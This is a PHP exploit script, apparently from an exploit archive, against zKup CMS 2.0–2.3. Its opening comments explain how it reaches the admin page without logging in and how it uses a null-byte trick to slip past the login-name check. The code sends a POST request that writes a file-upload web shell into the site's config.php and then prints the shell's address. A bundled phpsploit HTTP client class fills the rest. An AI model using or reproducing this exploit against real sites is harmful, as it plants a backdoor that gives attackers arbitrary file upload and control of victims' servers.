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zKup CMS 2.0 <= 2.3 Remote Upload Exploit
#!/usr/bin/php
<?php
/*
* Name: zKup CMS v2.0 <= v2.3 0-day exploit (upload)
* Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
* Date: 03-08-2008
* Conditions: PHP Version
*
* This exploit spawn a php uploader in your victim's
* server.
*
* Okay, you may need explanations:
*
* First, we can use administration without being admin
* (see ./admin/configuration/modifier.php)
*
* Then, when we add an admin, it is saved in a php file,
* named "./fichiers/config.php".
* A vuln is present when the script controls $login value,
* because it use this regex: #^[a-zA-Z0-9]+$#
* in order to see if it's alphanumerical.
* I bypassed this regex using a NULL POISON BYTE (%00),
* and writing my upload script just after.
* I finally put some lines in order not to
* corrupt config.php.
*
* Thanks to darkfig, and his useful phpsploit class :)
*/
print "\n";
print " zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
print " by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";
if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
$url = $argv[1];
$code = '
if( isset($_POST[\'upload\']) )
{
$tmp_file = $_FILES[\'file\'][\'tmp_name\'];
$name_file = $_FILES[\'file\'][\'name\'];
if( !move_uploaded_file($tmp_file, "./".$name_file) ) exit("<center style=\"color:red;\">Error (move_uploaded_file)</center>");
echo "<center style=\"color:green;\">File uploaded</center>";
}
else if($_GET[\'up\']==1)
{
?>
<form method="post" enctype="multipart/form-data">
<p>
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</p>
</form>
<?php
}
';
$code = urlencode($code);
/* Not to compromise config.php work */
$restore = array();
$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);
$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";
$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",$xpl->post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
else print "failed.\n";
/*
* phpsploit class was made by darkfig, thnks dude :)
*/
/*
*
* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
* VERSION: 1.2
* LICENSE: GNU General Public License
* ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME: phpsploitclass.php
*
* CONTACT: [email protected] (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
* * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
* * First version
*
*/
class phpsploit {
/**
* This function is called by the get()/post() functions.
* You don't have to call it, this is the main function.
*
* @return $server_response
*/
private function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
else $socket = fsockopen($this->host,$this->port);
if(!$socket) die("Error: The host doesn't exist");
if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
elseif($this->method==="post" or $this->method==="formdata") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
else die("Error: Invalid method");
if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
$this->packet .= "Host: ".$this->host."\r\n";
if(!empty($this->agent)) $this->packet .= "User-Agent: ".$this->agent."\r\n";
if(!empty($this->header)) $this->packet .= $this->header."\r\n";
if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
$this->packet .= "Connection: Close\r\n";
if($this->method==="post")
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method==="formdata")
{
$this->packet .= "Content-Type: multipart/form-data; boundary=---------------------------".$this->boundary."\r\n";
$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}
$this->packet .= "\r\n";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket)) $this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
if($this->allowredirection) return $this->allowredirection($this->recv);
else return $this->recv;
}
/**
* This function allows you to add several cookie in the
* request. Several methods are supported:
*
* $this->addcookie("name","value");
* or
* $this->addcookie("name=newvalue");
* or
* $this->addcookie("othername=overvalue; xx=zz; y=u");
*
* @param string $cookiename
* @param string $cookievalue
*
*/
public function addcookie($cookn,$cookv='')
{
// $this->addcookie("name","value"); work avec replace
if(!empty($cookv))
{
if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
if(!empty($this->cookie))
{
if(preg_match("/$cookn=/",$this->cookie))
{
$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
}
else
{
$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
}
}
else
{
$this->cookie = $cookn."=".$cookv.";";
}
}
// $this->addcookie("name=value; othername=othervalue");
else
{
if(!empty($this->cookie))
{
$cookn = preg_replace("/(.*);$/","$1",$cookn);
$cookarr = explode(";",str_replace(" ", "",$cookn));
for($i=0;$i<count($cookarr);$i++)
{
preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
else
{
$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
$this->cookie = $cookn;
}
}
}
/**
* This function allows you to add several headers in the
* request. Several methods are supported:
*
* $this->addheader("headername","headervalue");
* or
* $this->addheader("headername: headervalue");
*
* @param string $headername
* @param string $headervalue
*/
public function addheader($headern,$headervalue='')
{
// $this->addheader("name","value");
if(!empty($headervalue))
{
if(!empty($this->header))
{
if(preg_match("/$headern:/",$this->header))
{
$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
}
else
{
$this->header .= "\r\n".$headern.": ".$headervalue;
}
}
else
{
$this->header=$headern.": ".$headervalue;
}
}
// $this->addheader("name: value");
else
{
if(!empty($this->header))
{
$headarr = explode(": ",$headern);
$headern = $headarr[0];
$headerv = $headarr[1];
$this->addheader($headern,$headerv);
}
else
{
$this->header=$headern;
}
}
}
/**
* This function allows you to use an http proxy server.
* Several methods are supported:
*
* $this->proxy("proxyip","8118");
* or
* $this->proxy("proxyip:8118")
*
* @param string $proxyhost
* @param integer $proxyport
*/
public function proxy($proxy,$proxyp='')
{
// $this->proxy("localhost:8118");
if(empty($proxyp))
{
preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
$proxh = $proxarr[1];
$proxp = $proxarr[2];
$this->proxyhost=$proxh;
$this->proxyport=$proxp;
}
// $this->proxy("localhost",8118);
else
{
$this->proxyhost=$proxy;
$this->proxyport=intval($proxyp);
}
if($this->proxyport > 65535) die("Error: Invalid port number");
}
/**
* This function allows you to use an http proxy server
* which requires a basic authentification. Several
* methods are supported:
*
* $this->proxyauth("darkfig","dapasswd");
* or
* $this->proxyauth("darkfig:dapasswd");
*
* @param string $proxyuser
* @param string $proxypass
*/
public function proxyauth($proxyauth,$proxypasse='')
{
// $this->proxyauth("darkfig:password");
if(empty($proxypasse))
{
preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
$proxu = $proxautharr[1];
$proxp = $proxautharr[2];
$this->proxyuser=$proxu;
$this->proxypass=$proxp;
}
// $this->proxyauth("darkfig","password");
else
{
$this->proxyuser=$proxyauth;
$this->proxypass=$proxypasse;
}
}
/**
* This function allows you to set the "User-Agent" header.
* Several methods are possible to do that:
*
* $this->agent("Mozilla Firefox");
* or
* $this->addheader("User-Agent: Mozilla Firefox");
* or
* $this->addheader("User-Agent","Mozilla Firefox");
*
* @param string $useragent
*/
public function agent($useragent)
{
$this->agent=$useragent;
}
/**
* This function returns the header which will be
* in the next request.
*
* $this->showheader();
*
* @return $header
*/
public function showheader()
{
return $this->header;
}
/**
* This function returns the cookie which will be
* in the next request.
*
* $this->showcookie();
*
* @return $storedcookies
*/
public function showcookie()
{
return $this->cookie;
}
/**
* This function returns the last formed
* http request (the http packet).
*
* $this->showlastrequest();
*
* @return $last_http_request
*/
public function showlastrequest()
{
return $this->packet;
}
/**
* This function sends the formed http packet with the
* GET method. You can precise the port of the host.
*
* $this->get("http://localhost");
* $this->get("http://localhost:888/xd/tst.php");
*
* @param string $urlwithpath
* @return $server_response
*/
public function get($url)
{
$this->target($url);
$this->method="get";
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method. You can precise the port of the host.
*
* $this->post("http://localhost/index.php","admin=1&user=dark");
*
* @param string $urlwithpath
* @param string $postdata
* @return $server_response
*/
public function post($url,$data)
{
$this->target($url);
$this->method="post";
$this->data=$data;
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method using the multipart/form-data enctype.
*
* $array = array(
* frmdt_url => "http://localhost/upload.php",
* frmdt_boundary => "123456", # Optional
* "email" => "[email protected]",
* "varname" => array(
* frmdt_type => "image/gif", # Optional
* frmdt_transfert => "binary", # Optional
* frmdt_filename => "hello.php",
* frmdt_content => "<?php echo ':)'; ?>"));
* $this->formdata($array);
*
* @param array $array
* @return $server_response
*/
public function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method="formdata";
$this->data='';
if(!isset($array[frmdt_boundary])) $this->boundary="phpsploit";
else $this->boundary=$array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match("#^frmdt_(boundary|url)#",$key))
{
$this->data .= "-----------------------------".$this->boundary."\r\n";
$this->data .= "Content-Disposition: form-data; name=\"".$key."\";";
if(!is_array($value))
{
$this->data .= "\r\n\r\n".$value."\r\n";
}
else
{
$this->data .= " filename=\"".$array[$key][frmdt_filename]."\";\r\n";
if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type: ".$array[$key][frmdt_type]."\r\n";
if(isset($array[$key][frmdt_transfert])) $this->data .= "Content-Transfer-Encoding: ".$array[$key][frmdt_transfert]."\r\n";
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
}
}
}
$this->data .= "-----------------------------".$this->boundary."--\r\n";
return $this->sock();
}
/**
* This function returns the content of the server response
* without the headers.
*
* $this->getcontent($this->get("http://localhost/"));
* or
* $this->getcontent();
*
* @param string $server_response
* @return $onlythecontent
*/
public function getcontent($code='')
{
if(empty($code)) $code = $this->recv;
$content = explode("\n",$code);
$onlycode = '';
for($i=1;$i<count($content);$i++)
{
if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
if($ok) $onlycode .= $content[$i]."\n";
}
return $onlycode;
}
/**
* This function returns the headers of the server response
* without the content.
*
* $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
* or
* $this->getheader();
*
* @param string $server_response
* @return $onlytheheaders
*/
public function getheader($code='')
{
if(empty($code)) $code = $this->recv;
$header = explode("\n",$code);
$onlyheader = $header[0]."\n";
for($i=1;$i<count($header);$i++)
{
if(!preg_match("/^(\S*):/",$header[$i])) break;
$onlyheader .= $header[$i]."\n";
}
return $onlyheader;
}
/**
* This function is called by the cookiejar() function.
* It adds the value of the "Set-Cookie" header in the "Cookie"
* header for the next request. You don't have to call it.
*
* @param string $server_response
*/
private function getcookie($code)
{
$carr = explode("\n",str_replace("\r\n","\n",$code));
for($z=0;$z<count($carr);$z++)
{
if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
{
$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
}
}
for($i=0;$i<count($cookie);$i++)
{
preg_match("/(\S*)=(\S*)(|;)/",$cookie[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
/**
* This function is called by the get()/post() functions.
* You don't have to call it.
*
* @param string $urltarg
*/
private function target($urltarg)
{
if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
$this->url=$urltarg;
$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
$this->host=$array[0];
preg_match("/:(\d+)\//",$urltarg,$matches);
$this->port=empty($matches[1]) ? 80 : $matches[1];
$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
preg_match("/\/(.*)\//",$temp,$matches);
$this->path=str_replace("//","/","/".$matches[1]."/");
if($this->port > 65535) die("Error: Invalid port number");
}
/**
* If you call this function, the script will
* extract all "Set-Cookie" headers values
* and it will automatically add them into the "Cookie" header
* for all next requests.
*
* $this->cookiejar(1); // enabled
* $this->cookiejar(0); // disabled
*
*/
public function cookiejar($code)
{
if($code===0) $this->cookiejar='';
if($code===1) $this->cookiejar=1;
else
{
$this->getcookie($code);
}
}
/**
* If you call this function, the script will
* follow all redirections sent by the server.
*
* $this->allowredirection(1); // enabled
* $this->allowredirection(0); // disabled
*
* @return $this->get($locationresponse)
*/
public function allowredirection($code)
{
if($code===0) $this->allowredirection='';
if($code===1) $this->allowredirection=1;
else
{
if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
{
$location = str_replace(chr(13),'',$codearr[2]);
if(!eregi("://",$location))
{
return $this->get("http://".$this->host.$this->path.$location);
}
else
{
return $this->get($location);
}
}
else
{
return $code;
}
}
}
/**
* This function allows you to reset some parameters:
*
* $this->reset(header); // headers cleaned
* $this->reset(cookie); // cookies cleaned
* $this->reset(); // clean all parameters
*
* @param string $func
*/
public function reset($func='')
{
switch($func)
{
case "header":
$this->header='';
break;
case "cookie":
$this->cookie='';
break;
default:
$this->cookiejar='';
$this->header='';
$this->cookie='';
$this->allowredirection='';
$this->agent='';
break;
}
}
}
?>
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09 Mar 2008 00:00Current
7.1High risk
Vulners AI Score7.1